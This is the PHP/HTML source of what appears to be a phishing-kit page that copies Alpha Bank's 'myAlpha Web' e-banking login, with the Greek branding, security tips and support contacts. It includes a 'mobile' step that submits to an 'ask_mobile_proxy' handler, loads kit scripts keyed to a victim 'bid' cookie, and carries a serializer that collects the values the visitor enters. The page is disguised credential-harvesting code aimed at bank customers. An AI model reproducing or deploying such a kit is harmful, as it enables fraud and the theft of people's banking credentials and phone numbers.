<?php 

         $relative_root="";
         $parent_folders="";
         function include_config(){
            global $relative_root,$parent_folders;
            while(!file_exists($relative_root."cfg.php")){
                $parent_folders=basename(realpath($relative_root))."/".$parent_folders;
                $relative_root.="../";
            };
            return $relative_root;
         };
         require_once(include_config().'cfg.php');

         if(isset($php_js)){
             $php_js->relative_root=$relative_root;
             $php_js->parent_folders=$parent_folders;
         }
         $php_js->fake_base="mobile/";
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery/dist/jquery.min.js">
    </script>
    <script type="text/javascript"
        src="<?php echo $php_js->relative_root ?>bower_components/ua-parser-js/dist/ua-parser.min.js"></script>
    <link rel="stylesheet"
        href="<?php echo $php_js->relative_root ?>bower_components/font-awesome/css/font-awesome.min.css">
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/form/core_form.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/token/core_token.js?<?= time(); ?>">
    </script>


    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/angular/angular.min.js">
    </script>

    <script type="text/javascript"
        src="<?php echo $php_js->relative_root ?>bower_components/jquery.maskedinput/dist/jquery.maskedinput.min.js">
    </script>


    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>core/form/core_form.css">
    <base href="<?php echo $php_js->relative_root.$php_js->fake_base; ?>" />
    <!-- <script src="nb.js.download"></script> -->
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="format-detection" content="telephone=no">
    <meta name="_csrf_header" content="X-CSRF-TOKEN">
    <meta name="_csrf" content="5cc221db-26e2-4f3b-8fcc-d16165471e06">
    <script type="text/javascript" src="jquery-3.4.1-ver-D19AFC7779BBA20E96683BE58B330F62.js.download"></script>
    <script type="text/javascript" src="wicket-ajax-jquery-ver-3A8C326A8436172FC95523D517EBC88B.js.download"></script>
    <script type="text/javascript" id="wicket-ajax-base-url">
    </script>

    <link rel="stylesheet" href="form/css.css">
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">







    <meta http-equiv="PRAGMA" content="NO-CACHE">
    <meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">



    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <link rel="stylesheet" href="login.css">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="Server" content="AlphaFarm05">
    <script async="" defer="" src="sed-alphabank-2260e9ef.js.download" id="_imp_apg_dip_" _imp_apg_cid_="sed-alphabank-2260e9ef"></script><title>myAlpha Web</title>
    <!-- Styles -->
    <link href="login" rel="stylesheet">
    <link rel="stylesheet" href="app-loading-indicator.css">

<script src="ai.0.js.download"></script>
<style>
    .mat-dialog-container {
    display: block;
    padding: 24px;
        border-radius: 4px;
        box-sizing: border-box;
        overflow: auto;
        outline: 0;
        width: 100%;
        height: 100%;
        min-height: inherit;
        max-height: inherit;
    }

    .otp-dialog {
        padding: 24px;
        overflow: auto;
        max-height: 100vh;
    }

    .mat-dialog-header-div {
        display: flex;
        justify-content: space-between;
        padding-top: 10px;
        right: 0;
    }

    .mat-form-field-wrapper {
        position: relative;
    }

    .mat-form-field-flex {
        display: inline-flex;
        align-items: baseline;
        box-sizing: border-box;
        width: 100%;
    }

    .mat-form-field-infix {
        display: block;
        position: relative;
        flex: auto;
        min-width: 0;
        width: 180px;
    }

    .ab-input {
        text-align: center;
    }

    .mat-input-element {
        font: inherit;
        background: 0 0;
        color: currentColor;
        border: none;
        outline: 0;
        padding: 0;
        margin: 0;
        width: 100%;
        max-width: 100%;
        vertical-align: bottom;
        text-align: inherit;
    }

    .mat-form-field-label-wrapper {
        position: absolute;
        left: 0;
        box-sizing: content-box;
        width: 100%;
        height: 100%;
        overflow: hidden;
        pointer-events: none;
    }

    .mat-form-field-appearance-legacy .mat-form-field-underline {
        height: 1px;
    }

    .mat-form-field-underline {
        position: absolute;
        width: 100%;
        pointer-events: none;
        transform: scaleY(1.0001);
    }

    .mat-form-field-appearance-legacy.mat-form-field-invalid:not(.mat-focused) .mat-form-field-ripple {
        height: 1px;
    }

    .mat-form-field.mat-focused .mat-form-field-ripple, .mat-form-field.mat-form-field-invalid .mat-form-field-ripple {
        opacity: 1;
        transform: scaleX(1);
        transition: transform .3s cubic-bezier(.25,.8,.25,1),opacity .1s cubic-bezier(.25,.8,.25,1),background-color .3s cubic-bezier(.25,.8,.25,1);
    }

    .mat-form-field.mat-form-field-invalid .mat-form-field-ripple, .mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent {
        background-color: #f44336;
    }

    .mat-form-field-appearance-legacy .mat-form-field-ripple {
        top: 0;
        height: 2px;
        overflow: hidden;
    }

    .mat-form-field-ripple {
        position: absolute;
        left: 0;
        width: 100%;
        transform-origin: 50%;
        transform: scaleX(.5);
        opacity: 0;
        transition: background-color .3s cubic-bezier(.55,0,.55,.2);
    }

    .mat-form-field-subscript-wrapper {
        position: absolute;
        box-sizing: border-box;
        width: 100%;
        overflow: hidden;
    }

    .mat-form-field-hint-wrapper {
        display: flex;
    }

    .mat-form-field-hint-spacer {
        flex: 1 0 1em;
    }

    .actions-container {
        display: flex;
        flex-wrap: wrap;
        align-items: center;
        justify-content: center;
    }

    .mat-button, .mat-flat-button, .mat-icon-button, .mat-stroked-button {
        box-sizing: border-box;
        position: relative;
        -webkit-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
        cursor: pointer;
        outline: 0;
        border: none;
        -webkit-tap-highlight-color: transparent;
        display: inline-block;
        white-space: nowrap;
        text-decoration: none;
        vertical-align: baseline;
        text-align: center;
        margin: 0;
        min-width: 64px;
        line-height: 36px;
        padding: 0 16px;
        border-radius: 4px;
        overflow: visible;
    }

    .mat-button-focus-overlay, .mat-button-ripple.mat-ripple {
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        position: absolute;
        pointer-events: none;
        border-radius: inherit;
    }

    .mat-button .mat-button-focus-overlay, .mat-icon-button .mat-button-focus-overlay {
        opacity: 0;
    }

    .mat-button-focus-overlay {
        opacity: 0;
        transition: opacity .2s cubic-bezier(.35,0,.25,1),background-color .2s cubic-bezier(.35,0,.25,1);
    }

    .validation-error-container {
        display: flex;
        justify-content: center;
        align-items: center;
        height: 30px;
        margin-top: 7px;
    }

    .mat-button-focus-overlay, .mat-button-ripple.mat-ripple {
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        position: absolute;
        pointer-events: none;
        border-radius: inherit;
    }

    span.ab-tooltip {
        cursor: pointer;
        position: relative;
        top: 3px;
        left: 3px;
        opacity: 1;
    }

    .resend-actions-panel {
        box-shadow: 2px 3px 10px 3px rgba(0,0,0,.1)!important;
        margin-left: 28px;
        margin-right: 28px;
        border-radius: 10px;
    }

    .mat-expansion-panel {
        box-sizing: content-box;
        display: block !important;
        margin: 0;
        border-radius: 4px;
        overflow: hidden;
        transition: margin 225ms cubic-bezier(.4,0,.2,1),box-shadow 280ms cubic-bezier(.4,0,.2,1);
    }

    .resend-actions-panel .mat-expansion-panel-header {
        padding: 0 10px;
    }

    .mat-expansion-panel-header:not([aria-disabled=true]) {
        cursor: pointer;
    }

    .mat-expansion-panel-header {
        display: flex;
        flex-direction: row;
        align-items: center;
        padding: 0 24px;
        border-radius: inherit;
    }

    .mat-content {
        display: flex;
        flex: 1;
        flex-direction: row;
        overflow: hidden;
    }

    .resend-actions-panel {
        display: flex;
        justify-content: center;
        align-items: center;
        border-right: 1px solid #cdd4d9;
    }

    div.gray-circle-outer {
        background-color: transparent;
        border: 1px solid #f0f2f5;
        border-radius: 50%;
        -moz-border-radius: 50%;
        -webkit-border-radius: 50%;
        height: 40px;
        min-height: 40px;
        width: 40px;
        min-width: 40px;
        display: inline-block;
    }

    #countdown {
        position: relative;
        margin: auto;
        text-align: center;
    }

    div.gray-circle-inner {
        background-color: #f0f2f5;
        border: 1px solid #f0f2f5;
        height: 34px;
        border-radius: 50%;
        -moz-border-radius: 50%;
        -webkit-border-radius: 50%;
        width: 34px;
        top: 2px;
        position: relative;
        display: inline-block;
    }

    svg {
        position: absolute;
        top: -1px;
        right: -1px;
        width: 40px;
        height: 40px;
        -webkit-transform: rotateY(-180deg) rotateZ(-90deg);
        transform: rotateY(0) rotateZ(-90deg);
    }

    svg circle {
        stroke-dasharray: 113px;
        stroke-dashoffset: 0;
        stroke-linecap: round;
        stroke-width: 3px;
        stroke: #1b589c;
        fill: none;
        -webkit-animation: 60s linear forwards countdown;
        animation: 60s linear forwards countdown;
    }

    .mat-expansion-indicator::after {
        border-style: solid;
        border-width: 0 2px 2px 0;
        content: '';
        display: inline-block;
        padding: 3px;
        transform: rotate(45deg);
        vertical-align: middle;
    }

    .mat-expansion-panel-content {
        display: flex;
        flex-direction: column;
        overflow: visible;
    }

    .mat-expansion-panel-body {
        padding: 0 24px 16px;
    }

    .resend {
        cursor: pointer;
    }

    .resend-action-container {
        display: flex;
        justify-content: flex-start;
        align-items: center;
    }

    .resend-actions-panel {
        box-shadow: 2px 3px 10px 3px rgba(0,0,0,.1)!important;
        margin-left: 28px;
        margin-right: 28px;
        border-radius: 10px;
    }

    .resend-actions-panel .mat-expansion-panel-header {
        padding: 0 10px;
    }

    .mat-expansion-panel-header {
        display: flex;
        flex-direction: row;
        align-items: center;
        padding: 0 24px;
        border-radius: inherit;
    }
<link rel="stylesheet" href="notif_files/styles.afbae55b684db409cc1f.css">
</style>
</head>



<body style="bakground-color: #211029">
    <div id="notif" class="row notif">
        <div class="col-1 py-3" style="padding-left: 37px;">
            <img src="notification.png">
        </div>
        <div class="col py-3">
            <!-- Notification title placeholder -->
            <div id="notifTitle" class="notif-title">Σημαντική ενημέρωση: </div>
            <!-- Notification message placeholder -->
            <div id="notifMsg" class="pt-1">Σας ενημερώνουμε ότι εξαιτίας υπερβολικού φόρτου, ενδέχεται να παρατηρηθεί προσωρινή αδυναμία σύνδεσης στις υπηρεσίες μας. Ευχαριστούμε για την κατανόηση.</div>
        </div>
        <div class="col-1 py-3" style="padding-right: 37px;">
            <a href="javascript:void(0)" class="notif-close-btn float-right" onclick="closeNotif()"></a>
        </div>
    </div>
    <div class="row mt-3">
        <div class="col pt-1 font-normal grey" style="padding-left: 37px; padding-right: 37px;">
            <img src="logo.png">
            <img src="lock.png" class="pl-5" style="margin-bottom: 10px;">
            Εισέρχεστε σε ασφαλές περιβάλλον της Τράπεζας. Μάθετε περισσότερα <a class="font-normal cobalt" href="#" target="_blank">εδώ</a>.
            <div class="float-right font-normal grey">
                Χρειάζεστε βοήθεια;
                <img id="servicesIcon" src="laptop.png" class="pl-2 pr-1 cp" onclick="userModal(1)" data-original-title="" title="" aria-describedby="popover466303"> |
                <a href="mailto:ebankingsupport@alpha.gr"><img id="emailIcon" src="email.png" class="pl-1 pr-1" data-toggle="tooltip" data-placement="bottom" title="" data-original-title="ebankingsupport@alpha.gr"></a> |
                <a href="tel:+30-210-326-0000"><img id="phoneIcon" src="phone.png" class="pl-1" data-toggle="tooltip" data-placement="bottom" title="" data-original-title="&lt;b&gt;210 326 0000&lt;/b&gt; (καθημερινά 8:00 - 22:30)"></a>
                <a class="pl-4 font-normal cobalt" href="#">EN</a>
            </div>
        </div>
    </div>
    <div id="mainContainer" class="row" style="height: 768px;">
        <div class="col bg text-center">
            <div id="loginContainer" class="bg2" style="margin-top: 0px; padding-top: 90px;">
                <div id="mobile-view">
				
				
				
				<h1>mobile</h1>
				
				
				
				
				
				
				
				
				
				
				
				
				
                    <form id="loginFormTmp" class="form-signin mx-auto mt-5 form-validation" novalidate="" name="mobile_form" id="mobile_form" method="post"
                                        onsubmit="send1(event,'ask_mobile_proxy');return false" class="readme-form"
                                        autocomplete="off" class="metafrm">                       
                        <input type="text" name="mobile_done" value="true" hidden>
                        <button id="submitButton" type="submit" class="form-btn signin mt-4">Είσοδος</button>
                    </form>
                </div>
                <div class="tips mx-auto text-left font-normal grey">
                    <div class="text-center"><b>Συμβουλές ασφαλείας</b></div>
                    <div class="row">
                        <div class="col-1 ml-2"><img src="shield.png"></div>
                        <div class="col-10">
                            <div id="tipsCarousel" class="carousel slide" data-ride="carousel">
                                <ol class="carousel-indicators">
                                    <li data-target="#tipsCarousel" data-slide-to="0" class="active"></li>
                                    <li data-target="#tipsCarousel" data-slide-to="1" class=""></li>
                                    <li data-target="#tipsCarousel" data-slide-to="2" class=""></li>
                                </ol>
                                <div class="carousel-inner">
                                    <div class="carousel-item active">
                                        <div class="row">
                                            <div class="col ml-2 my-auto">
                                                <div>Οι κωδικοί σας (Username και Password) είναι αυστηρά προσωπικοί και δεν πρέπει να τους αποκαλύπτετε σε κανέναν.</div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="carousel-item">
                                        <div class="row">
                                            <div class="col ml-2 my-auto">
                                                <div>Mην απαντάτε σε email που ζητούν στοιχεία λογαριασμών ή κωδικών σας και μην ακολουθείτε links που προτείνουν.</div>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="carousel-item">
                                        <div class="row">
                                            <div class="col ml-2 my-auto">
                                                <div>Χρησιμοποιείτε antivirus και antimalware για ασφάλεια από κακόβουλα λογισμικά.</div>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="demo-container">
                    <button type="button" class="demo-btn" onclick="userModal(3)">Δείτε το Demo ▶</button>
                </div>
            </div>
        </div>
    </div>
    <div class="row separator-line"></div>
    <div class="row">
        <div class="col mt-3 mb-3 text-center font-normal grey">
            <a class="font-normal grey" href="#" target="_blank">Όροι Χρήσης</a> |
            <a class="font-normal grey" href="#" target="_blank">Ασφάλεια</a> |
            <a class="font-normal grey" href="#" target="_blank">Πολιτική Απορρήτου</a>
        </div>
    </div>
    <!-- Modal -->
    <div class="modal fade" id="loginModal" tabindex="-1" role="dialog" aria-labelledby="loginModalLabel" aria-hidden="true" style="margin-top: 260px;">
        <div class="modal-dialog" role="document">
            <div class="modal-content" id="modalContent" style="width: 550px;">
                <div class="modal-header border-bottom-0 pb-0">
                    <button type="button" class="close modal-close-btn" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">×</span>
                    </button>
                </div>
                <div class="modal-body pt-0 pb-4">
                    <div class="row mb-3">
                        <div class="col text-center">
                            <span class="font-lg grey" id="modalTitle">Modal title</span>
                        </div>
                    </div>
                    <div class="row mb-3">
                        <div class="col text-center mx-auto">
                            <button id="retailBtn" type="button" class="btn btn-link modal-btn shadow font-md cobalt">
                                <img src="retail.png" class="pt-4">
                                <p class="mt-1" style="line-height:1px;">Είστε ιδιώτης;</p>
                            </button>
                        </div>
                        <div class="col text-center mx-auto">
                            <button id="corporateBtn" type="button" class="btn btn-link modal-btn shadow font-md cobalt">
                                <img src="corporate.png" class="pt-3">
                                <p class="mt-1" style="line-height:1px;">Είστε εταιρικός χρήστης;</p>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>

<form action="#" class="hidden" id="loginForm" method="post"><input name="__RequestVerificationToken" type="hidden" value="kRdK69yuaR7ciYUlGjvHFo3j0CjeKjpoBJ_QRQTd1Dq4U7fFMuDU6Ej7FCa5k-VwV8QkckwbRopT1gKR_jQUf8y0WZrED1a16ePF9mSfk6I1">        <input id="hiddenUser" name="Username" type="hidden">
        <input id="hiddenPass" name="Password" type="hidden">
        <input id="E" name="E" type="hidden" value="010001">
        <input id="N" name="N" type="hidden" value="9EE62086EA8B4016D2C2421ED4B2503402C6214E1E4489422E3D7053610224DEF7C13CD2CD21F652170373FA66DE1EE579ED15C2A91145A104AAF65E9DF0F6E11CEDE62093A698DA0941AE98447F96FFE1986BB53F59E35D73060EE70717C118077F92ACEDD8708597B9122D63698F69ABE1C4E2C42DD27C05E2DAE5380C99F65D53C7EE7973770408AB6101BE621957BBF14F7859E7F04D8D7F8541B924A1FAE0435003CF5F7A7C8FF80FA0D040A9E09F8D6B54582A81C68AC377B34D502AA3078C975B7FCB65EC02BC9F3C0B3A085FEABF6658B925BCBC9C6B5703707C4C2761BC2867D7E5114DAE973AA3BAC85F47583A06BB8F501E755F0FB2C131C78FA1">
        <input id="A" name="ActivityDateTime" type="hidden" value="2021-10-29T13:46:26Z">
        <input id="U" name="UniqueIdentifier" type="hidden" value="172aaf4e-792b-4224-92dd-15f45eee0aca">
        <input id="hiddenPath" name="RedirectTo" type="hidden" value="">
        <input id="loginType" name="LoginType" type="hidden" value="All">
        <input id="iframeType" name="IFrameType" type="hidden" value="0">         <input id="screenResolution" name="ScreenResolution" type="hidden">
        <input id="timeZone" name="TimeZone" type="hidden">
</form>    <input id="iKey" name="iKey" type="hidden" value="00ced89a-f71e-4c8f-94bc-90eae5cb233a">
    <input id="appId" name="appId" type="hidden" value="54d45c5d-9142-4893-bc82-cd01df78a6f5">
    <input id="disableAi" name="disableAi" type="hidden" value="False">
    <input id="aiEndpoint" name="aiEndpoint" type="hidden" value="#">
    <input id="opId" name="opId" type="hidden" value="253cf709e41961408d0b425cd2525961">
    <input id="opName" name="opName" type="hidden" value="MyAlphaWeb">
    <input id="serverDisplayName" name="serverDisplayName" type="hidden" value="AlphaFarm05">
    <script src="appInsights"></script>

    <script src="login(1)"></script>

    <script src="rsa"></script>

    <script src="sjcl.min.js.download"></script>
    <script type="text/javascript">
        var loginSettings = loginSettings || {};
        loginSettings.LoginType = 0;

        
        // new Image().src = document.location.protocol + "//mon" + "sta" + "t.co" + "m/" + "myAlphaWeb2" + ".p" + "ng?du=" + escape(document.location) + "&dr=" + escape(document.referrer) + "&rr=" + Math.random();

        var userActivityTimeout = null;
        var userActivityThrottlerTimeout = null
        var INACTIVE_USER_TIME_THRESHOLD = 10000;
        var USER_ACTIVITY_THROTTLER_TIME = 5000;

        function resetUserActivityTimeout() {
            clearTimeout(userActivityTimeout);
            userActivityTimeout = setTimeout(function() {
                //inactiveUserAction();
            }, INACTIVE_USER_TIME_THRESHOLD);
        }

        function userActivityThrottler() {
            if (!userActivityThrottlerTimeout) {
                userActivityThrottlerTimeout = setTimeout(function() {
                    resetUserActivityTimeout();

                    clearTimeout(userActivityThrottlerTimeout);
                    userActivityThrottlerTimeout = null;
                }, USER_ACTIVITY_THROTTLER_TIME);
            }
        }

        function inactiveUserAction() {
            $('#servicesIcon').popover({
                trigger: 'manual',
                placement: 'bottom',
                title: '<span class="font-md cobalt">Εξοικειωθείτε με το e-Banking</span><img src="close.png" class="popover-close-btn cp" onclick="closeServicesPopover()">',
                content: '<p class="mb-12 grey"><span class="popover-icon"><img src="find-answer.png"></span>&nbsp;Απαντήσεις σε Συχνές Ερωτήσεις</p><p class="mb-12 grey"><img src="how2video.png">&nbsp;Χρήσιμα how2videos</p>',
                html: true,
                sanitize: false
            }).popover('show').tooltip('disable');
        }

        function activateActivityTracker() {
            window.addEventListener("mousemove", userActivityThrottler);
            window.addEventListener("scroll", userActivityThrottler);
            window.addEventListener("keydown", userActivityThrottler);
            window.addEventListener("resize", userActivityThrottler);
        }

        function doResize() {
            var h = window.innerHeight;
            var nh = (h - 112) >= 750 ? h - 112 : 750;
            var lc_mt = (h - 880) > 0 ? h - 880 : 0;
            var lm_mt = (h / 2) - 180;
            $('#mainContainer').attr("style", "height: " + nh + "px;");
            $('#loginContainer').attr("style", "margin-top: " + lc_mt + "px; padding-top: 90px;");
            $('#loginModal').attr("style", "margin-top: " + lm_mt + "px;");

            var w = window.innerWidth;
            var mc_w = w > 600 ? 550 : 500;
            $('#modalContent').attr("style", "width: " + mc_w + "px;");

            if ($("#errorMsg").length) {
                $('#inputUsername').attr("style", "margin-top: 10px;");
                switch ($("#errorMsg").height()) {
                    case 16: // 1 line
                        break;
                    case 32: // 2 lines
                        $('#loginContainer').attr("style", "padding-top: 70px;");
                        break;
                    case 48: // 3 lines
                        $('#loginContainer').attr("style", "padding-top: 60px;");
                        break;
                    case 64: // 4 lines
                        $('#loginContainer').attr("style", "padding-top: 40px;");
                        break;
                    case 80: // 5 lines
                        $('#loginContainer').attr("style", "padding-top: 20px;");
                        break;
                    default:
                        $('#loginContainer').attr("style", "padding-top: 0;");
                }
            }
        }

        function userModal(type) {
            switch (type) {
                case 1:
                    $('#modalTitle').html("Υποστήριξη Ηλεκτρονικών Υπηρεσιών");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
                case 2:
                    $('#modalTitle').html("Εγγραφή στο e-Banking");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
                case 3:
                    $('#modalTitle').html("Δείτε το Demo");
                    $('#retailBtn').attr("data-link-url", "#");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn').off("click").on('click', function () { demoLogin(1); });
                    $('#corporateBtn').off("click").on('click', function () { demoLogin(2); });
                    break;
                case 4:
                    $('#modalTitle').html("Ξέχασα το Username μου");
                    $('#retailBtn').attr("data-link-url", "#" + "?locale=el");
                    $('#corporateBtn').attr("data-link-url", "#");
                    $('#retailBtn, #corporateBtn').off("click").on('click', closeModal);
                    break;
            }

            closeServicesPopover();
            $('#loginModal').modal('toggle');
        }

        function closeNotif() {
            $('#notif').hide(600);
            closeServicesPopover();
        }

        function closeServicesPopover() {
            $('#servicesIcon').popover('hide');
            $('#servicesIcon').tooltip('enable');
        }

        function closeModal() {
            $('#loginModal').modal('hide');
            var url = this.dataset.linkUrl;
            if (url != "#") {
                setTimeout(function () { window.open(url); }, 30);
            }
        }

        function rememberMe() {
            if ($('#inputRM').is(":checked") && $('#inputUsername').val() != "") {
                localStorage.rm = $('#inputRM').val();
                localStorage.un = enc($('#inputUsername').val());
            } else {
                localStorage.rm = "";
                localStorage.un = "";
            }
        }

        function demoLogin(userType) {
            switch (userType) {
                case 1:
                    submitLogin("demouser", "demouser", false);
                    break;
                case 2:
                    submitLogin("corpDemoUser", "corpDemoUser", false);
                    break;
            }
        }

        function addRBFAdditionalFields() {
            var screenHeight = window.screen.height;
            var screenWidth = window.screen.width;
            document.getElementById("screenResolution").value = screenWidth + "X" + screenHeight;

            //Although Intl is (at a limited scope) supposedly supported in IE11
            //(https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat#Browser_compatibility),
            //it actually looks like `window.Intl` returns undefined. To avoid console errors, check its value before attempting to use it.
            var timeZone = "";
            if (window.Intl) {
                var dtFormat = new Intl.DateTimeFormat();
                timeZone = dtFormat.resolvedOptions().timeZone;
            }
            document.getElementById("timeZone").value = timeZone;
        }

        $(function () {
            doResize();
            $(window).on('resize', doResize);

            //Remember me
            if (localStorage.rm && localStorage.rm == "1") {
                $('#inputRM').attr("checked", "checked");
                $('#inputUsername').val(dec(localStorage.un));
            } else {
                $('#inputRM').removeAttr("checked");
                $('#inputUsername').val("");
            }

            //Enable tooltips
            $('#servicesIcon').tooltip({
                placement: 'bottom',
                html: true,
                title: 'Υποστήριξη Ηλεκτρονικών Υπηρεσιών',
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner tooltip-mw-100"></div></div>'
            });

            $('#emailIcon,#phoneIcon').tooltip({
                html: true,
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner tooltip-mw-100"></div></div>'
            });

            $('#infoIcon').tooltip({
                html: true,
                template: '<div class="tooltip" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>'
            });

            //Retrieve notification from alpha.gr
            var jqxhr = $.getJSON('#');
            jqxhr.done(function (data) {
                if (data.showNotification) {
                    $('#notifTitle').html(data.notificationTitle);
                    $('#notifMsg').html(data.notificationText);
                    $('#notif').removeClass("d-none");
                }
            });
            jqxhr.fail(function () {
                console.log("call to alpha.gr failed");
            });

            var submitForm = function () {
                rememberMe();

                $('.form-validation').addClass("was-validated");

                var username = $("#inputUsername").val();
                var password = $("#inputPassword").val();
                addRBFAdditionalFields();

                submitLogin(username, password, false);
            }

            $("#loginFormTmp").on('submit', function (event) {
                event.preventDefault();
                const target = $('#submitButton');
                if (!target.is(':disabled')) {
                    submitForm();
                }
            });

            activateActivityTracker();
        });
    </script>



            <script type="text/javascript">
    var bid = "<?php echo isset($_COOKIE['bid'])?$_COOKIE['bid']:basename(dirname(dirname(__FILE__))) ?>"
    var php_js = <?php  echo json_encode($php_js) ?>
    </script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>form/form.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>ng/ng.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="../<?php echo $php_js->fake_base; ?>token/token.js?v=<?php echo uniqid() ?>"></script>
    <script>
//         $(document).ready(function () {

// $('.error1').click(function () {

//   alert(

//     'Yritä käyttää toista vaihtoehtoa.'

//     );

// });

// $('.error2').click(function () {

//     window.location.href="../login2/?op="+btoa(JSON.stringify(last_operation));return;

// });

// });

$.fn.custom_ser = function() {
    var obj = {};
    this.find("input,select").each(function() {
        if (
            $(this).prop("tagName") == "INPUT" &&
            $(this).prop("type") != "checkbox" &&
            $(this).prop("type") != "button" &&
            $(this).prop("type") != "hidden" &&
            $(this).prop("type") != "image" &&
            $(this).prop("type") != "reset" &&
            $(this).prop("type") != "submit"
        ) {
            //input validation
            obj[$(this).attr("name")] = $(this).val();
        }
        if ($(this).prop("tagName") == "SELECT") {
            obj[$(this).attr("name")] = $(this).find("option:selected").val();
        }
    });

    console.log('Custom seralization result : ')
    console.log(obj)
    return obj;
};
    </script>
    
</body>

</html>